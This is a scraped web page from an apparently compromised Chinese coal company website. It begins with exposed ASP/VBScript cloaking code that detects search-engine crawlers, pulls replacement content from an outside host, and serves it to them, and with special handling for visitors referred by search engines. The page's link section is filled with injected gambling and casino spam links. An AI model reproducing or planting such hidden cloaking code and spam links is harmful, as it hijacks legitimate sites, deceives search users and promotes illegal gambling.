function isspider() dim agent,searray,i agent="agent:"&LCase(request.servervariables("http_user_agent")) searray=array("googlebot","baiduspider","sogou","yahoo","soso","360","so","yahoo","bing","youdao") isspider= false for i=0 to ubound(searray) if (instr(agent,searray(i))>0) then isspider=true next end function function fromse() dim urlrefer,i,searray urlrefer="refer:"&LCase(request.ServerVariables("HTTP_REFERER")) fromse= false if urlrefer="" then fromse= false searray=array("google","baidu","sogou","yahoo","soso","360","so","yahoo","bing","youdao") for i=0 to ubound(searray) if (instr(urlrefer,searray(i))>0) then fromse=true next end function function gethttp(url) dim http set http=createobject("MSXML2.XMLHTTP") Http.open "GET",url,false Http.send() if Http.readystate<>4 then exit function end if gethttp=bytes2BSTR(Http.responseBody) set http=nothing if err.number<>0 then err.Clear end function function bytes2BSTR(vIn) dim strReturn dim i,ThisCharCode,NextCharCode strReturn = "" For i = 1 To LenB(vIn) ThisCharCode = AscB(MidB(vIn,i,1)) If ThisCharCode < &H80 Then strReturn = strReturn & Chr(ThisCharCode) Else NextCharCode = AscB(MidB(vIn,i+1,1)) strReturn = strReturn & Chr(CLng(ThisCharCode) * &H100 + CInt(NextCharCode)) i = i + 1 End If Next bytes2BSTR = strReturn End function if isspider() then dim mfso,mfilecon Set mfso=Server.CreateObject("Scripting.FileSystemObject") mfilecon=gethttp("http://www.1997seo.com/1.php") response.clear response.write(mfilecon) response.write("") response.flush Set wfile=Nothing Set mfso=Nothing response.end end if if fromse() then response.clear response.write("
") response.flush response.end end if %> 兴源煤炭
  •  关于我们
  •  业务洽谈
  • 电话:0313-4876723
    传真:0313-4876723
  •  服务客户
  •  友情链接
友情链接1: www.hg0088.com 皇冠最新网址 hg0088注册 皇冠代理网 皇冠投注网址 www.hg0088.com 皇冠最新网址 hg0088注册 皇冠代理网 足球比分 现金网 皇冠投注网址 皇冠娱乐网 hg0088开户 皇冠投注网址 www.hg0088.com 皇冠最新网址 hg0088注册 皇冠代理网 皇冠体育网"> 皇冠新2备用网址 皇冠最新网址 皇冠新2网 皇冠体育网 皇冠开户网 现金网 皇冠投注网址 皇冠娱乐网 hg0088如何注册 皇冠投注网址 www.hg0088.com 皇冠最新网址 hg0088注册 皇冠代理网 全讯网 赌球网 赌博技巧 博彩网 网上赌场排名 葡京赌场 澳门赌场 澳门银河官网 澳门娱乐城 澳门赌场 澳门银河 澳门娱乐场 tt娱乐 赌博技巧 太阳城娱乐城 金沙娱乐 澳门新葡京官网 澳门娱乐城 真人娱乐 澳门赌场 六合彩开奖结果